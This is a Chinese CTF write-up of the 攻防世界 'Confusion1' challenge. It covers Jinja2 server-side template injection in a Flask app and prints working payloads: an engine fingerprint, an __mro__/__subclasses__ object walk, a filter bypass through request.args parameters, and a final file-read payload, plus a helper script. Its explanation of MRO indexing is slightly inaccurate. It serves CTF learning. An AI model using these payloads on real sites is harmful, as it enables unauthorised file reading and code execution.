SSTI 攻防世界 Confusion1

发布于:2024-07-25 ⋅ 阅读:(149) ⋅ 点赞:(0)

进来这张图片分析良久,大象,蛇,Python VS PHP?因为php图标就是大象

点击login,和register功能却无法显示页面给我人干懵了,还以为题目环境的问题

然后dirsearch和githack也没扫出东西来,看它的数据包却发现注释里写了flag存放地址

怎么读取flag呢?文件包含但是找不到源码,SSRF连参数都没有!

突破点估计还是在登录和注册这里

利用edge扩展查看了一下网站架构,看到是flask框架,这玩意就有可能是模版注入了!

输入表达式{{7*'7'}}看看

下面是判断模版注入的方法

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

回显7个7说明是jinja模版引擎

通过python的对象的继承来一步步实现文件读取和命令执行

思路:找到父类<type 'object'>-->寻找子类-->找关于命令执行或者文件操作的模块。

寻找可用的引用类payload:

"".__class__.__mro__[2].__subclasses__()

解析:"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes),而不是对象(objects)。

具体来说,__class__是一个内置属性,表示一个对象所属的类。通过调用__class__.__mro__,可以获取该类的方法解析顺序(Method Resolution Order,MRO),它是一个元组,按照查找方法时的顺序列出了对象所属类及其父类。

在MRO中,索引为2的元素表示对象所属类的直接父类。对于大多数类,索引为2处的元素是object类,因为大多数类都直接或间接继承自object类。

然后通过调用__subclasses__()方法,可以获取一个列表,其中包含了该类的所有子类。这些子类是可用的类,可以用于创建对象和调用其方法。

综上所述,"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes)。

flask jinja渲染引擎中格式:

控制结构 {% %}

变量取值 {{}}

注释 {# #}

构造payload:{{"".__class__.__mro__[2].__subclasses__()}}  查看可利用的类

提示让我们换一种方式,过滤了__class__这些基础类?

确定过滤基础类,得通过其他办法来进行调用

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
request.args.key   ,args是参数,key可以是内置函数

request.args被作为对象,通过.获取其名为key的属性值。不需要在外面加点

即""[request.args.__class__]和"".__class__效果是一样的,但是因为在语句中过滤了基础类,我们可以采取变量赋值的方式绕过限制

构造payload:

{{""[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

成功看到当前的可利用类并且找到file类的位置在第40(从0开始算)

可以利用我这个python小脚本来找,只复制[ ]列表里面的内容

# 输入一个字符串
input_str = input("请输入要分隔的元素,使用逗号分隔:")

# 将输入的字符串按逗号分隔成列表
elements = input_str.split(",")

# 打印每个元素及其位置
for index, element in enumerate(elements):
    if "file" in element:
        print(f"位置 {index}: {element.strip()}")
        exit("found!")

找到file类的位置为40

原本靠

"".__class__.__mro__[-1].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()即可利用file读取文件,40就是file类在object中的位置,因为过滤我们构造payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

成功回显flag!看不懂的搜几篇文章看下,这篇也行;ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客


网站公告

今日签到

点亮在社区的每一天
去签到